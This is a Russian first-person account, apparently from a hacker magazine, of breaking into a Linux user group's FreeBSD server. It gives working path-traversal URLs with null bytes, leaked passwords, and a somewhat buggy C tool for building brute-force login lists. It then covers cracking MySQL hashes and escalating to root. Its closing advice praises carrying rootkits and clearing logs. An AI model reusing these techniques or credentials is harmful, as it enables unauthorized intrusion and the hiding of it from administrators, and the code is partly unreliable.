В один прекрасный день, блуждая по
просторам интернета, вбил я себе в голову
мысль, что у меня ещё нет ни одного
нормального freebsd root-шелла и что его крайне
необходимо достать в ближайшее же время =)
Дело за малым: оставалось только найти эту
самую bsd, получит хоть какой-нибудь шелл, а
затем поднять на ней права. Но тут же
возникла первая проблема: как найти эту
самую bsd? Сканить, сканить и ещё раз сканить...
Залез я, значит, на свой линуховый шелл и
запустил в бэкграунде nmap вот таким макаром:
nohup nmap -vv -O -sS -oN log.txt 202.98.*.* &
отключился и ущёл спать. Пожалуй, стоит
пояснить, что за опции nmap'а и что за команды
я использовал:
nohup <команда> & позволяет запустить
процесс без привязки к оболочке в фоновом
режиме.
опции nmap'a: vv - Very Verbouse ;); O - получать
отпечатки сканируемой ОС по её TCP стеку; sS -
stealth сканирование (как ты понимаешь, у меня
были рутовые права, ведь они необходимы для
запуска nmap'а с этой опцией ;)); oN log.txt -
записывать все логи в обычный текстовый
файл. Ты спросишь почему я приписал .txt? А всё
потому, что в M$-овской оси я тоже не прочь
посидеть =) Ах да, я отвлёкся: 202.98.*.* -
абсолютно нереальное совпадение ip-адресов,
кроме '*' конечно, которые говорят нам, что
нужно сканировать по всему диапазону.
Следующей ночью зайдя на шелл я первым
делом посмотрел свой файлик log.txt, и
обнаружил там некий адрес, который содержал
три довольно известных буквы. Ты о чём
подумал? Нет, это сочетание "lug",
известное каждому линуксоиду как
сокращение от Linux User Group. В общем, он выглядел
примерно так xxxlug.org (естественно, под ххх
скрывается некое сочетание =)) ,и в мою
голову закрались нехорошие мысли: "Не
партийно линуксоидам хоститься на freebsd!"
=)
Хотя я и не могу назвать себя злобным, но
теперь у меня был повод поиметь этих юзеров.
Короче, начал я крутить этот сервак и так, и
сяк... и nmap'ом с шелла я его сканировал, и Xspider
со своей тачки на него натравливал, вот
только ничего хорошего - все fingerprint-ы мне
ничего не давали, порты грамотно
фильтровались, демоны были хитро настроены,
баннеры сервисов спрятаны, да так, что я
даже не мог понять, что за ftp сервис висит на
21-ом порту. 21, 22, 25, 80, 110, 443 - стандартный набор...
Далее я пошёл ставить проксю, дабы прикрыть
свой зад во время изучения lug'а (далее я буду
так называть мою конечную цель). Скачал
прокси сервер 3аразы, распаковал его tar -zxf
3proxy.tgz; зашёл в папку /src , там в файлике
ручками вправил строчку '#define ANONYMOUS' , потом
скомпилил, запустил и натравил на него свою
любимую Mozillу. Вот.... Прогрузилась страница,
я прошёлся по остальным разделам и узрел,
что пользователей здесь немерянно и это
меня слегка вспугнуло - если у сайта такая
посещаемость, значит админ надлежащим
образом следит за машиной, но иногда бывает
и наоборот: админ становится ленивый, пьёт
пиво и заплывает жиром , а это от части
радовало, т.к. могло сыграть мне на руку. Ну
что же, почесав ту часть тела, на которой
носят кепку, я приступил к более подробному
рассмотрению http части. Как и следовало
ожидать, на сервере стоял apache, как я узнал
версии 1.3.33. Кроме того, я узнал, что
версия PHP 4.3.11 и OpenSSL, который обеспечивает
защищённое соединение по 443-му порту имеет
версию 0.6.9d. Заметьте! Но я почему-то не
заметил этого и решил, что ловить в этом
направлении нечего и отправился искать
бажные скрипты. Уже через минут 20-25 я нашёл
пару скриптов, которые вызывали внутреннюю
ошибку (Internal Error 500), но ничего толкового
поделать с этим я не мог 🙁 Но вот
установленный на сервере движок QWikiWiki
версии 1.4 оказался уязвим. Для тех, кто не в
курсе - объясняю: скрипт index.php был подвержен
старой как сам интернет баге Poisoned Null. Так я
смог прочитать /etc/passwd вот таким макаром:
www.xxxlug.org/qwiki/index.php?page= ../../../../../../etc/passwd%00
Как и ожидалось - сервак оказался
небольшим хостером. passwd поведал мне
примерно о 50-ти пользователях, что давало
реальный шанс на получение хоть какого-нибудь
доступа, но на это я забил в поисках более
лёгкого пути. Потом попытался прочитать
конфиг апача по всем возможным путям:
www.xxxlug.org/qwiki/index.php?page= ../../../../../../usr/local/apache/conf/httpd.conf
www.xxxlug.org/qwiki/index.php?page= ../../../../../../usr/local/etc/apache/httpd.conf
Но и от них я не смог добиться ничего
вразумительного. Зато в конфиге QWiki
проявилась полезная деталь:.
http://xxxlug.org/qwiki/index.php?page=../_config.php%00
$QW_CONFIG['adminName'] = "James Shown";
$QW_CONFIG['adminPassword'] = 'TrJh654H'
Решено было сильно не заморачиваться и
попытаться зайти по ftp под именем xxxlug,
взятым из passwd и паролем, полученным из
_config.php, на что ftp злобно ругнулся и не пустил
меня. Пришло время идти в лоб - перебирать
пары login:login. Дабы не парсить passwd вручную,
мною за пятнадцать минут был слеплен
небольшой сишник, который ты можешь видеть
ниже:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void split(FILE *ofp);
FILE *ifp, *ofp;
char *shell;
char *mode;
int main(int argc, char *argv[])
{
if ((argv[1][2]=='h') || (argv[1][1]=='h') || (argc == 1) || (argc > 7))
{
printf("Usage: %s <passwd file> [output file] [-m mode] [-s shell]\n",
argv[0]);
printf("\t mode - output file opening mode.\n");
printf("mode: w - for writing or a -for appending.\n");
printf("\t shell: substring for searching or user shell.\n\n");
printf("Default: %s <passwd file> stdout -m w -s /bin/bash\n\n",
argv[0]);
exit(1);
}
else
{
if ((ifp = fopen(argv[1], "r")) == NULL)
{
printf("Can't open file %s\n", argv[1]);
exit(1);
}
if (argc > 2)
{
(argv[3][1]=='m') ? (mode=argv[4]) : (mode="w");
(argv[5][1]=='s') ? (shell=argv[6]) : (shell="/bin/bash");
(argv[3][1]=='s') ? (shell=argv[4]) : (shell="/bin/bash");
if ((ofp = fopen(argv[2], mode)) == NULL)
{
printf("Can't create file %s\n", argv[2]);
exit(1);
}
else
{
split(ofp);
}
}
else
{
split(stdout);
}
}
fclose(ifp);
fclose(ofp);
exit(0);
}
void split(FILE *ofp)
{
char str1[255], str2[255];
int pos;
while (fgets(str1, 255, ifp) != NULL)
{
if (strstr(str1, shell) != NULL)
{
for (pos=0; str1[pos++] != ':';);
strncat(str2,str1,pos);
strncat(str2,str1,pos-1);
strcat(str2,"\n");
fputs(str2, ofp);
str1[0]=str2[0]='\0';
fflush(ofp);
}
}
}
Надеюсь, разобраться в нём тебе не составит
труда. С помощью него были получены
валидные пары login:login, которые я я успешно
скормил брутусу. Через пол часа аккуратного
подбора я успешно зашёл при помощи putty
используя пару rksupport:rksupport. Неспешно
проверил, что кроме меня в системе никого
нет, ещё раз убедился, что на сервере
крутится FreeBSD 4.9, посмотрел список процессов
и обнаружил MySQLd (он не был доступен для
внешних подключений). Потом начал
прогуливаться по диску и обнаружил, что
даже с моими ограниченными правами я могу
читать чужие папки. В поисках чего-нибудь
вкусненького из вышеуказанных источников я
провёл ещё час, подробно изучая доступный
контент, пока не наткнулся на некий файл из
состава Билл его знает какого php движка в
одной из папок пользователя piter. Он содержал
вот что:
/* db.php - Piter Gardley 2005 */
/* Variables */
$dbhost = '202.98.32.29';
$dbusername = 'edwards';
$dbpasswd = 'enigma9';
$database_name = 'webapp';
Удача? Удача! MySQLd ответил на запрос select
user, host, password from user хешами, которые позже
были расшифрованы md5inside. И, о чудо! Пароль
пользователя root совпал с системным =) Я
выполнил su, ввёл пароль existention и получил
привилегии root'а.
P.S Через две недели админ толи спалил моё
присутствие в системе, то ли выполнил
запланированную смену паролей юзверей и
просто так удалил QWikiWiki, но права я потерял...
А жаль 🙁
Выводы:
1) Я ступил и мог бы получить доступ к
командной оболочке ещё когда обнаружил OpenSSL
0.9.6d.
2) У меня не было нормального руткита для
этой версии FreeBSD - всегда имей его при себе.
3) Тщательное изучение папок даже самых
непривилегированных пользователей может
сильно помочь в поднятии прав на системе.
4) Иногда даже к некоторым сетевым демонам
можно получить доступ только локально -
помни это.
5) Чисти логи два раза в день!
P.P.S Все события вымышленные, реальное
совпадение не может иметь место =)
Shados@real.xakep.ru